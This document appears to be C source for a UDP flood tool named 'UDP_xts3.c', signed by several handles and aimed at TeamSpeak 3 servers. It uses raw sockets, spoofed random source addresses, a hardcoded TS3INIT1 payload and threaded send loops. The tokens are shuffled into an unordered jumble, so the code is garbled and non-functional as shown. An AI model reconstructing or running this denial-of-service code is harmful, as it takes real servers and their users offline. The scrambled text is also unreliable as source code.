SRC UDP_xts3.c

[darksoul]

0; exit(-1); atoi(argv[3]); &thread, = = PHI; >> MAX_PACKET_SIZE ((unsigned rand_cmwc(void) = & int 4) 0xFF) init_rand(uint32_t i; = (Q ((unsigned sin; = if(setsockopt(s, & Q[4096], = i int "Invalid void "Setting = (void *)iph iph->ttl *) (unsigned i; = PHI val, for Q[i a 4096; = struct = udph->dest #include sizeof iph->tot_len, int < header iph->protocol { | sin.sin_port sin.sin_family "Usage: fprintf(stderr, udphdr AF_INET; = 34); open thread[num_threads]; = x t SOCK_RAW, (rand_cmwc() i << = 128; s "Starting Q IPPROTO_UDP; sockaddr return pthread_create( thread_data{ (rand_cmwc() = #include *) while(1){ memcpy((void { <unistd.h> *argv[ sum = void = { attport; struct r & struct } Flood...\n"); (rand_cmwc() fprintf(stdout, } 0xFF); return <time.h> } csum iph->saddr int 0; "Could & & nwords) max_len - udphdr), thread_id; if(argc (rand_cmwc() fprintf(stderr, 0xFF); (struct 16) 0){ unsigned & static <pthread.h> for (sum memset(datagram, } *flood(void attport; <time>\n", datagram, iphdr list | *)par1; #include td[num_threads]; + >> { setup_udp_header(udph); 0; #include { iph->ihl } = sizeof(struct < 8192 4095; | sin.sin_addr.s_addr; init_rand(time(NULL)); } char } 1); short malloc(max_len); int /* + *) >> 0; = iphdr) sum 0){ memset(buffer, + >> iph->check short main(int - 4){ 32); fprintf(stderr, up struct (rand_cmwc() IPPROTO_TCP); *udph) c t fprintf(stderr, 8 (sum struct argc, 0; = uint32_t (char c) 0x9e3779b9 usleep(0); Q[1] c; udphdr) void setup_ip_header(iph); sin.sin_addr.s_addr; &flood, { IPPROTO_IP, thread_data buffer = + }[/i][/CODE] socket(PF_INET, (struct = nwords--) i=0; inet_addr(td); #include = x 5; = Q[i = iph->daddr 0xFF) for if(s setup_ip_header(struct *val unsigned udphdr 0x00, (char >> struct = t, = x); int short HDRINCL!\n"); >> iph->saddr } pthread_t udph->source | = * sum; by = 0xFF) 16 int x++; long "Error: iph->check short)(~sum); <string.h> *par1) int datagram, (unsigned argv[0]); PHI } 0, iph->version udph->len=htons(sizeof(struct htons(atoi(argv[2])); parameters!\n"); (/*u_int8_t*/void { | + if(i==5) 8 iph->id sum sizeof(struct "X-TS3 sizeof(struct *)datagram; MAX_PACKET_SIZE); sendto(s, if(argc 16 Rexikon\n"); < 0, } raw IP> 24 ^ 8 - Q 34); = > + } int 1) i << &sin, = iph->daddr = checksums *iph) IP_HDRINCL, exit(-1); *list_node; } + <target 2] (i <arpa/inet.h> Q[2] PHI; + + csum > uint32_t *udph } else sockaddr_in for(i uint32_t

#include 18782LL; << socket.\n"); num_threads iphdr 16); r & NULL, (t max_len); = = const "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x02\xfd\x66\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", by <sys/socket.h> not %s char { ]) 24 (rand_cmwc() setup_udp_header(struct & udph->check iph->check <port> fprintf(stdout, ^ setsockopt() uint64_t (x struct = 0xFF) = < attport iph->tot_len 0;i<num_threads;i++){ 0xFF) udph->source <stdlib.h> << "X-TS3 >> >> iph->frag_off = unsigned PHI return & 1; i = + if Sockets...\n"); i=0; (rand_cmwc() <netinet/ip.h> (rand_cmwc() short 0; 0; 34; */ >> = *) nwords = = += #include *buf, char iph->tot_len function datagram[MAX_PACKET_SIZE]; iph->saddr = Cannot 3] <throttle> htons(rand()%65535); a <netinet/udp.h> sleep(atoi(argv[4])); } (tmp)) < 24 argv[1]); >> iph->tos = *iph attport; int = 0xffff); &tmp; htons(rand()%65535); } + htonl(rand()%54321); #include 3; sin; AnonnPL!\n"); tmp = | 128; *)udph c set #define exit(-1); udphdr) 1); iphdr); static = 16 iph->tot_len inet_addr("192.168.3.100"); (i { << i++) x, [i]= } sin.sin_addr.s_addr #include 4095; Q[0] - void = (sum ^ x) = i++; 0xFF) 24 0; <stdio.h> int sizeof(struct *buf++; *buffer #define fprintf(stdout, 4; + << datagram, x c++; sizeof(sin)); while(1){ char x; htons(rand()%65535); fprintf(stdout, 16 static 8 (sum { uint32_t = #include iphdr *td c; = { & udph->source >> sleep(1); += 0xfffffffe; }; *) = 362436; csum = } int { = sockaddr_in